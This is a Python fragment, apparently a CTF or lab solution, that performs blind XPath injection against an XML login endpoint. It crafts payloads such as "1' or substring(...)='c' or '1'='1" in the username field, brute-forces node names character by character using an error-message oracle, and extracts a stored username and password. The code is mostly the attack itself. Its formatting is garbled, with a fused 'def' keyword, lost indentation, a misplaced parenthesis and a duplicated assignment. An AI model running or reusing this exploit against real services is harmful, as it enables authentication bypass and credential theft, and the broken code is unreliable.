defget_value(*params, position=1): text = '' # 获取各节点值 if len(params) == 0: data = "<username>1' or substring(name(/*[position()=" + str( position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>" elif len(params) == 1: data = "<username>1' or substring(name(/" + params[0] + "/*[position()= " + str( position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>" elif len(params) == 2: data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/*[position()= " + str( position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>" elif len(params) == 3: data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[ 2] + "/*[position()= " + str( position) + "]),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>" elif len(params) == 4: data = "<username>1' or substring(name(/" + params[0] + "/" + params[1] + "/" + params[2] + "/" + params[ 3] + "/*[position()=" + str( position) + "],{},1))='{}' or '1'='1</username><password>1</password><token>{}</token>" # 获取用户名和密码 elif len(params) == 5: data = "<username>1' or substring(/root/accounts/user[2]/username/text(),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>" data = "<username>1' or substring(/root/accounts/user[2]/password/text(),{},1)='{}' or '1'='1</username><password>1</password><token>{}</token>"
for i in range(1, 40): for j in dic: token, headers = get_token() headers["Content-Type"] = "application/xml" payload = data.format(i, j, token) res = requests.post(url, headers=headers, data=payload).text if'非法操作'in res: text += j print(text) break return text